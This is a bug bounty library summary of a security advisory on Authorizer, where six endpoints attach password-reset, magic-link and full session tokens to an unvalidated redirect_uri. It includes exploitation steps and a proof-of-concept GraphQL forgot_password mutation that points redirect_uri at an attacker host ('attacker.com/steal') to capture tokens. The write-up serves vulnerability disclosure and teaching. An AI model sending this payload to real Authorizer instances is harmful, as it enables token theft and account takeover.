# Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri

Six Authorizer endpoints append reset, magic-link, and full auth tokens to an unvalidated redirect_uri, letting attackers steal sessions and take over accounts.

- Payout: Research
- Severity: high
- Program: Authorizer
- Found by: kodareef5
- Disclosed: 2026-04-06
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x3f4-v83f-7wp2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x3f4-v83f-7wp2
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:go tech:graphql technique:source-review vuln:account-takeover vuln:open-redirect

**Target:** GraphQL mutations and HTTP handlers (forgot_password, magic_link_login, signup, invite_members, oauth_login, verify_email)
**Root cause:** Six endpoints accept user-controlled redirect_uri and append sensitive tokens to it without calling validators.IsValidOrigin() against AllowedOrigins; only the /app OAuth handler validates.
**Steps:**
1. Send `mutation { forgot_password(params: { email: "victim@example.com", redirect_uri: "https://attacker.com/steal" }) { message } }`
2. Victim receives legitimate reset email linking to `https://attacker.com/steal?token=<reset_token>`
3. Victim clicks; token lands on attacker server
4. Same pattern on MagicLinkLogin, Signup, InviteMembers, OAuthLoginHandler
5. For verify_email, redirect_uri stored in JWT claim; after click, `access_token=...&token_type=bearer&expires_in=...&id_token=...&nonce=...` is appended to attacker URL
**How found:** Compared the OAuth /app handler, which validates redirect_uri via validators.IsValidOrigin() at app.go:46, against the GraphQL mutations and verify_email handler, which skip the check entirely; verified against HEAD commit 73679fa.
**Exploitation:** Attacker submits public GraphQL mutation with redirect_uri pointing to their server; victim clicks the genuine email link from the trusted Authorizer instance, delivering reset/magic-link/verification tokens or full access_token+id_token+refresh_token to the attacker.
**Escalation:** verify_email path escalates from single token theft to full session theft (access + id + refresh tokens), enabling complete account takeover.
**Insight:** When a codebase has one correctly-validated redirect path, grep for every other place redirect_uri is consumed and diff against the validated one; token-appending helpers like GetForgotPasswordURL are prime sinks.

## Proof of concept (copied exactly from the original report)

**GraphQL forgot_password mutation with attacker redirect_uri**

```
mutation {
      forgot_password(params: {
        email: "victim@example.com"
        redirect_uri: "https://attacker.com/steal"
      }) {
        message
      }
    }
```

